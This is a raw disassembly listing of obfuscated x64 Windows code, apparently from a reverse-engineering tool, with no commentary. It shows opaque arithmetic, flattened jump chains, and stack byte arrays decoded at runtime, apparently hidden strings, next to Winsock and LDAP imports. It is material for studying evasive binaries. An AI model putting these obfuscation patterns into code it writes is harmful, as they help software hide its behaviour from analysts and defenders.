and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14020dcb9
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020dc6e
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add r9, r15
jmp 0x14020dc92
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x14020dd7c
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xaf0], dl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x14020dd7c
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x24
add dil, dl
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x14020dd6d
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xaf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x14020d3c5
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14020d3c2
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14020d3b2
lea rdx, [rbp + 0x16a0d00]
jmp 0x14020dde4
lea rdx, [rbp + 0x6bc88c]
jmp 0x14020dde4
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x98]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x21f0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14020de19
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x21f0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x21f0]
call fcn.140266950
nop
lea rcx, [rbp + 0x21f0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x910], 0x9b
mov byte [rbp + 0x911], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x912], 0x90
mov byte [rbp + 0x913], 0xdb
mov byte [rbp + 0x914], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x915], Ordinal_217
mov byte [rbp + 0x916], 0x7b
mov byte [rbp + 0x917], Ordinal_217
mov byte [rbp + 0x918], 0x43
mov byte [rbp + 0x919], Ordinal_211
mov byte [rbp + 0x91a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x91b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x91c], 0x5e
mov byte [rbp + 0x91d], Ordinal_211
mov byte [rbp + 0x91e], 0x5d
mov byte [rbp + 0x91f], Ordinal_211
mov byte [rbp + 0x920], WSAGetLastError
mov byte [rbp + 0x921], 0xc9
mov byte [rbp + 0x922], 0x7a
mov byte [rbp + 0x923], 0xcb
mov byte [rbp + 0x924], Ordinal_79
mov byte [rbp + 0x925], Ordinal_200
mov byte [rbp + 0x926], 0x64
mov byte [rbp + 0x927], Ordinal_200
mov byte [rbp + 0x928], 0x54
mov byte [rbp + 0x929], 0xc1
mov byte [rbp + 0x92a], 0x5b
mov byte [rbp + 0x92b], Ordinal_200
mov byte [rbp + 0x92c], 0x9f
mov byte [rbp + 0x92d], 0x3d
mov byte [rbp + 0x92e], 0x9a
mov byte [rbp + 0x92f], 0x3f
mov byte [rbp + 0x930], 0x84
mov byte [rbp + 0x931], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x932], 0xa8
mov byte [rbp + 0x933], Ordinal_60
mov byte [rbp + 0x934], 0xad
mov byte [rbp + 0x935], gethostname
mov byte [rbp + 0x936], 0xb8
mov byte [rbp + 0x937], Ordinal_60
mov byte [rbp + 0x938], 0xad
mov byte [rbp + 0x939], Ordinal_50
mov byte [rbp + 0x93a], 0xa0
mov byte [rbp + 0x93b], gethostname
mov byte [rbp + 0x93c], 0xbf
mov byte [rbp + 0x93d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x93e], 0x78
mov byte [rbp + 0x93f], Ordinal_50
mov byte [rbp + 0x940], Ordinal_143
mov byte [rbp + 0x941], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x942], 0xb3
mov byte [rbp + 0x943], Ordinal_46
mov byte [rbp + 0x944], 0xb2
mov byte [rbp + 0x945], Ordinal_41
mov byte [rbp + 0x946], Ordinal_41
mov byte [rbp + 0x947], Ordinal_41
xor eax, eax
mov qword [rbp + 0x948], rax
mov dword [rbp + 0x950], eax
mov word [rbp + 0x954], ax
mov byte [rbp + 0x956], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14020eaf5
movzx r8d, byte [rbp + r9 + 0x910]
mov rdx, r8
cmp rdi, r9
ja 0x14020eaec
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020e05e
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x14020e095
je 0x14020ea68
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020ea39
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020ea16
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14020e9c8
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14020eae3
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14020e0c8
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14020e28b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020e9b7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020e994
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020e94b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020e925
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14020e899
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14020e4d5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020e4c1
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14020e49e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020e48a
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14020e469
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14020e455
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14020e432
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020e41e
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14020eac0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14020ea9a
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14020e2b8
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14020e292
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14020e26f
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14020e407
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14020e3e6
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14020e3d2
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14020e3b1
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14020e39d
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14020e37a
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14020e357
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14020e333
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14020e310
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14020e2fc
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14020e2db
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14020e116
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14020e116
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14020e109
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020e095
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x14020e026
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14020e9e7
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x14020e67c
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14020ea34
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020e967
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14020ea57
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14020ea5a
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14020e8a8
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14020e711
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14020e5b9
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x14020e536
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14020e4eb
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14020e8a8
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14020ea5a
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14020e934
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14020e967
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x14020e9a3
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14020ea11
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_30
jmp 0x14020e9d7
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14020e5a1
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14020e873
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14020e63a
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x14020e84d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14020e748
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14020e840
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14020e9e9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020e5d0
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ea83
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020e5ed
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x14020e8a8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020e619
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14020ea5a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020e4fa
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14020e9a3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020e664
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14020e9e7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020e693
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ea11
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020e6bf
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14020ea57
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020e6e9
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14020e8b8
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020e718
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020e8ee
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14020e538
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14020ea83
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020e765
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14020e5b9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020e782
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14020e8a8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020e79f
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14020e934
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020e7c9
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14020e967
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020e7f5
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14020ea34
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020e812
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14020e67c
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14020e56f
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14020e9e7
mov byte [rbp + r9 + 0x910], bl
jmp 0x14020ea92
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x910]
sub bl, al
sub bl, 0x60
jmp 0x14020e34f
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x910]
jmp 0x14020e8b5
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x910], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x910], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x14020ea83
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ea57
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x910], cl
jmp 0x14020ea57
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ea34
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14020e9d7
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x910], cl
add r10, r15
jmp 0x14020ea34
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r15
jmp 0x14020ea92
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x14020ea92
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x910]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14020e013
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020e010
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14020e000
lea rdx, [rbp + 0x16f1040]
jmp 0x14020eafc
lea rdx, [rbp + 0x68a3a4]
jmp 0x14020eafc
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xb8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2300]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14020eb31
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2300]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2300]
call fcn.140266950
nop
lea rcx, [rbp + 0x2300]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x740], 0xcb
mov byte [rbp + 0x741], Ordinal_143
mov byte [rbp + 0x742], 0xac
mov byte [rbp + 0x743], 0xf3
mov byte [rbp + 0x744], Ordinal_79
mov byte [rbp + 0x745], 0xf1
mov byte [rbp + 0x746], WSAStartup
mov byte [rbp + 0x747], 0xf7
mov byte [rbp + 0x748], 0x55
mov byte [rbp + 0x749], 0xf5
mov byte [rbp + 0x74a], 0xa2
mov byte [rbp + 0x74b], 0xfb
mov byte [rbp + 0x74c], 0x66
mov byte [rbp + 0x74d], 0xf9
mov byte [rbp + 0x74e], 0x55
mov byte [rbp + 0x74f], 0xff
mov byte [rbp + 0x750], 0x59
mov byte [rbp + 0x751], 0xfd
mov byte [rbp + 0x752], WSAStartup
mov byte [rbp + 0x753], 0xe3
mov byte [rbp + 0x754], 0x47
mov byte [rbp + 0x755], 0xe1
mov byte [rbp + 0x756], Ordinal_79
mov byte [rbp + 0x757], 0xe7
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x759], 0xe5
mov byte [rbp + 0x75a], 0x42
mov byte [rbp + 0x75b], 0xeb
mov byte [rbp + 0x75c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x75d], 0xe9
mov byte [rbp + 0x75e], r14b
mov byte [rbp + 0x75f], 0xef
mov byte [rbp + 0x760], 0xb8
mov byte [rbp + 0x761], 0xed
mov byte [rbp + 0x762], 0x87
mov byte [rbp + 0x763], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x764], 0x44
mov byte [rbp + 0x765], Ordinal_211
mov byte [rbp + 0x766], r14b
mov byte [rbp + 0x767], Ordinal_217
mov byte [rbp + 0x768], 0x81
mov byte [rbp + 0x769], Ordinal_217
mov byte [rbp + 0x76a], 0x7e
mov byte [rbp + 0x76b], 0xdb
mov byte [rbp + 0x76c], 0x7c
mov byte [rbp + 0x76d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x76e], WSAStartup
mov byte [rbp + 0x76f], 0xdf
mov byte [rbp + 0x770], Ordinal_143
mov byte [rbp + 0x771], 0xdd
mov byte [rbp + 0x772], 0x64
mov byte [rbp + 0x773], Ordinal_200
mov byte [rbp + 0x774], WSAGetLastError
mov byte [rbp + 0x775], 0xc1
mov byte [rbp + 0x776], 0x54
mov byte [rbp + 0x777], Ordinal_200
mov byte [rbp + 0x778], Ordinal_200
mov byte [rbp + 0x779], Ordinal_200
xor eax, eax
mov dword [rbp + 0x77a], eax
mov word [rbp + 0x77e], ax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x14020f8f9
movzx r8d, byte [rbp + r9 + 0x740]
mov r11, r8
cmp rdi, r9
ja 0x14020f8f0
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020ed70
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x14020edaa
je 0x14020f863
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020f80d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020f7b6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14020f78d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020f743
cmp r10, r9
ja 0x14020f8e7
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14020eddd
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
jmp 0x14020efef
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020f725
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020f702
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020f6d3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020f6bf
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14020f30f
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14020f2ee
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14020f2da
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14020f2b7
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14020f2a3
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020f280
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020f25d
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14020f239
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14020f216
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020f1f2
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14020ee1e
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14020f8c1
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14020f89b
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14020f01c
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14020eff6
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14020efd3
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14020f1ce
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14020f1ba
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14020f199
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14020f16b
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14020ee1e
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14020f145
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14020f124
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14020f103
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14020f0dd
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14020f0ba
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14020f099
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14020f076
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14020f053
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14020f03f
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14020ee1e
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14020ee1e
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14020ee11
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020edaa
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14020ed39
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x14020f752
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14020f788
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14020f7ae
